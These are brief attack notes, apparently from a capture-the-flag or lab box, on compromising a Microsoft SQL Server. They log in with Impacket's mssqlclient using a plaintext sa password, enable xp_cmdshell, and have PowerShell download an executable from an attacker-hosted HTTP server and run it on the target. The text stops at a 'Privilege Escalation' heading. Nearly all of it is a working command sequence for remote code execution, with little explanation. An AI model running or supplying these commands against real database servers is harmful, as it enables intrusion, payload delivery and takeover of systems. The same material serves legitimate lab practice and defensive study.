Impacket to get the client shell
./mssqlclient.py sa:RDO1uDB05g@10.9.20.11
Enabling xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';
Getting shell
python3 -m http.server 80
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''http://10.10.15.207:445/CASUAL_PLATFORM.exe'', ''C:\Users\svc_sql\Documents\CASUAL_PLATFORM.exe'')"'
EXEC xp_cmdshell 'powershell -noprofile C:\Users\svc_sql\Documents\CASUAL_PLATFORM.exe'
Privilege Escalation